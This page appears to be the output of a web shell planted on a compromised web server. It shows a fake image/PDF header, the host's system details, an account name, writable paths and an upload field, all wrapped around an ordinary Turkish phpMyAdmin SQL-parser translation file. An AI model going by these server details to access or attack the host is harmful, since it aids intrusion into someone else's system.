%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/tr/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/tr/LC_MESSAGES/sqlparser.po
# Automatically generated <>, 2010.
msgid ""
msgstr ""
"Project-Id-Version: SQL parser 5\n"
"Report-Msgid-Bugs-To: translators@phpmyadmin.net\n"
"POT-Creation-Date: 2023-02-26 22:46+0100\n"
"PO-Revision-Date: 2021-12-31 01:53+0000\n"
"Last-Translator: Burak Yavuz <hitowerdigit@hotmail.com>\n"
"Language-Team: Turkish <https://hosted.weblate.org/projects/phpmyadmin/sql-"
"parser/tr/>\n"
"Language: tr\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 4.10.1\n"

#: src/Component.php:39 src/Component.php:59
msgid "Not implemented yet."
msgstr "Henüz uygulanmadı."

#: src/Components/AlterOperation.php:415 src/Statement.php:359
msgid ""
"A new statement was found, but no delimiter between it and the previous one."
msgstr ""
"Yeni bir ifade bulundu, ancak bu ve önceki arasında hiç sınırlayıcı yok."

#: src/Components/AlterOperation.php:427
msgid "Missing comma before start of a new alter operation."
msgstr "Yeni bir alter işlemi başlamadan önce eksik virgül."

#: src/Components/AlterOperation.php:472
msgid "Unrecognized alter operation."
msgstr "Kategorilenmemiş değiştirme işlemi."

#: src/Components/Array2d.php:88
#, php-format
msgid "%1$d values were expected, but found %2$d."
msgstr "%1$d değer beklenmekte, ancak %2$d bulundu."

#: src/Components/Array2d.php:108
msgid "An opening bracket followed by a set of values was expected."
msgstr "Açık bir köşeli parantez ardından bir grup değer beklenmekte."

#: src/Components/ArrayObj.php:106 src/Components/CreateDefinition.php:233
msgid "An opening bracket was expected."
msgstr "Açık bir köşeli parantez beklenmekte."

#: src/Components/CaseExpression.php:133 src/Components/CaseExpression.php:161
#: src/Components/CaseExpression.php:172 src/Components/CaseExpression.php:184
#: src/Components/IndexHint.php:134 src/Components/IndexHint.php:164
#: src/Components/LockExpression.php:173 src/Components/LockExpression.php:180
#: src/Components/LockExpression.php:188 src/Statements/DeleteStatement.php:249
#: src/Statements/DeleteStatement.php:268
#: src/Statements/DeleteStatement.php:308
#: src/Statements/DeleteStatement.php:320
#: src/Statements/DeleteStatement.php:346
#: src/Statements/DeleteStatement.php:353
#: src/Statements/InsertStatement.php:189
#: src/Statements/InsertStatement.php:220 src/Statements/LoadStatement.php:265
#: src/Statements/LockStatement.php:85 src/Statements/ReplaceStatement.php:149
#: src/Statements/ReplaceStatement.php:178
msgid "Unexpected keyword."
msgstr "Beklenmeyen anahtar kelime."

#: src/Components/CaseExpression.php:192
msgid "Unexpected end of CASE expression"
msgstr "Beklenmeyen CASE ifadesi sonu"

#: src/Components/CaseExpression.php:212
msgid "Potential duplicate alias of CASE expression."
msgstr "CASE ifadesinin olası kopya kod adı."

#: src/Components/CaseExpression.php:225
msgid "An alias expected after AS but got "
msgstr "AS'den sonra beklenen ancak var olan bir kod adı "

#: src/Components/CaseExpression.php:238 src/Components/Expression.php:352
#: src/Components/Expression.php:372 src/Components/Expression.php:424
msgid "An alias was previously found."
msgstr "Bir kodadı daha önce bulundu."

#: src/Components/CaseExpression.php:252
msgid "An alias was expected after AS."
msgstr "AS'den sonra bir kod adı beklenmekte."

#: src/Components/CreateDefinition.php:255
msgid ""
"A symbol name was expected! A reserved keyword can not be used as a column "
"name without backquotes."
msgstr ""
"Bir sembol adı beklenmekte! Ayrılmış bir anahtar kelime ters eğik tırnakları "
"olmadan bir sütun adı olarak kullanılamaz."

#: src/Components/CreateDefinition.php:268
msgid "A symbol name was expected!"
msgstr "Bir sembol adı beklenmekte!"

#: src/Components/CreateDefinition.php:300
msgid "A comma or a closing bracket was expected."
msgstr "Bir virgül ya da kapalı bir köşeli parantez beklenmekte."

#: src/Components/CreateDefinition.php:313 src/Statements/WithStatement.php:328
msgid "A closing bracket was expected."
msgstr "Kapalı bir köşeli parantez beklenmekte."

#: src/Components/DataType.php:130
msgid "Unrecognized data type."
msgstr "Tanınmayan veri türü."

#: src/Components/ExpressionArray.php:106 src/Statements/WithStatement.php:197
msgid "An expression was expected."
msgstr "Bir ifade beklenmekte."

#: src/Components/Expression.php:257 src/Components/Expression.php:435
msgid "An alias was expected."
msgstr "Bir kodadı beklenmekte."

#: src/Components/Expression.php:403
msgid "Unexpected dot."
msgstr "Beklenmeyen nokta."

#: src/Components/IndexHint.php:140 src/Components/IndexHint.php:170
#: src/Components/Key.php:259 src/Components/LockExpression.php:161
#: src/Components/SetOperation.php:138 src/Statement.php:258
#: src/Statements/DeleteStatement.php:263
#: src/Statements/DeleteStatement.php:315
#: src/Statements/ExplainStatement.php:161
#: src/Statements/InsertStatement.php:203
#: src/Statements/InsertStatement.php:240 src/Statements/LoadStatement.php:270
#: src/Statements/LoadStatement.php:291 src/Statements/LoadStatement.php:310
#: src/Statements/LockStatement.php:93 src/Statements/LockStatement.php:100
#: src/Statements/PurgeStatement.php:106 src/Statements/PurgeStatement.php:119
#: src/Statements/PurgeStatement.php:140
#: src/Statements/ReplaceStatement.php:163 src/Statements/WithStatement.php:132
msgid "Unexpected token."
msgstr "Beklenmeyen belirteç."

#: src/Components/Limit.php:78 src/Components/Limit.php:105
msgid "An offset was expected."
msgstr "Bir karşılık beklenmekte."

#: src/Components/LockExpression.php:91 src/Components/LockExpression.php:201
msgid "Unexpected end of LOCK expression."
msgstr "Beklenmeyen LOCK ifadesi sonu."

#: src/Components/OptionsArray.php:146
#, php-format
msgid "This option conflicts with \"%1$s\"."
msgstr "Bu seçenek \"%1$s\" ile çakışıyor."

#: src/Components/RenameOperation.php:103
msgid "The old name of the table was expected."
msgstr "Tablonun eski adı beklenmekte."

#: src/Components/RenameOperation.php:109
msgid "Keyword \"TO\" was expected."
msgstr "\"TO\" anahtar kelimesi beklenmekte."

#: src/Components/RenameOperation.php:124
msgid "The new name of the table was expected."
msgstr "Tablonun yeni adı beklenmekte."

#: src/Components/RenameOperation.php:140
msgid "A rename operation was expected."
msgstr "Yeniden adlandırma işlemi beklenmekte."

#: src/Components/SetOperation.php:121
msgid "Missing expression."
msgstr "Eksik ifade."

#: src/Lexer.php:274
msgid "Unexpected character."
msgstr "Beklenmeyen karakter."

#: src/Lexer.php:313
msgid "Expected whitespace(s) before delimiter."
msgstr "Sınırlayıcıdan önce beklenen boşluk(lar)."

#: src/Lexer.php:329 src/Lexer.php:348
msgid "Expected delimiter."
msgstr "Beklenen sınırlayıcı."

#: src/Lexer.php:1004
#, php-format
msgid "Ending quote %1$s was expected."
msgstr "Sonlandırma tırnak işareti %1$s beklenmekte."

#: src/Lexer.php:1056
msgid "Variable name was expected."
msgstr "Değişken adı beklenmekte."

#: src/Parser.php:456
msgid "Unexpected beginning of statement."
msgstr "Beklenmeyen ifade başlangıcı."

#: src/Parser.php:499
msgid "Unrecognized statement type."
msgstr "Tanınmayan ifade türü."

#: src/Parser.php:587
msgid "No transaction was previously started."
msgstr "Daha önce hiç işlem başlatılmadı."

#: src/Statement.php:327
msgid "This type of clause was previously parsed."
msgstr "Bu tür yan tümce daha önce ayrıştırıldı."

#: src/Statement.php:398
msgid "Unrecognized keyword."
msgstr "Tanınmayan anahtar kelime."

#: src/Statement.php:409
msgid "Keyword at end of statement."
msgstr "İfade sonundaki anahtar kelime."

#: src/Statement.php:555
msgid "Unexpected ordering of clauses."
msgstr "Beklenmeyen yan tümce sıralaması."

#: src/Statements/CreateStatement.php:549
msgid "The name of the entity was expected."
msgstr "Varlığın adı beklenmekte."

#: src/Statements/CreateStatement.php:598
msgid "A table name was expected."
msgstr "Tablo adı beklenmekte."

#: src/Statements/CreateStatement.php:603
msgid "At least one column definition was expected."
msgstr "En az bir sütun tanımı beklenmekte."

#: src/Statements/CreateStatement.php:707
msgid "A \"RETURNS\" keyword was expected."
msgstr "\"RETURNS\" anahtar kelimesi beklenmekte."

#: src/Statements/DeleteStatement.php:329
msgid "This type of clause is not valid in Multi-table queries."
msgstr "Bu tür yan tümce Çoklu tablo sorgularında geçerli değil."

#: src/Statements/LockStatement.php:120
msgid "Unexpected end of LOCK statement."
msgstr "Beklenmeyen LOCK deyimi sonu."

#: src/Statements/PurgeStatement.php:138
msgid "Unexpected keyword"
msgstr "Beklenmeyen anahtar kelime"

#: src/Statements/WithStatement.php:118
msgid "The name of the CTE was expected."
msgstr "CTE'nin adı beklenmekte."

#: src/Statements/WithStatement.php:137
msgid "AS keyword was expected."
msgstr "AS anahtar kelimesi beklenmekte."

#: src/Statements/WithStatement.php:149
msgid "Subquery of the CTE was expected."
msgstr "CTE'nin alt sorgusu beklenmekte."

#: src/Statements/WithStatement.php:266
msgid "Unexpected end of the WITH CTE."
msgstr "WITH CTE'nin beklenmeyen sonu."

#~ msgid "Unexpected end of Lock expression."
#~ msgstr "Beklenmeyen LOCK ifadesi sonu."

#~ msgid "error #1"
#~ msgstr "hata #1"

#~ msgid "strict error"
#~ msgstr "kesin hata"

VaKeR 2022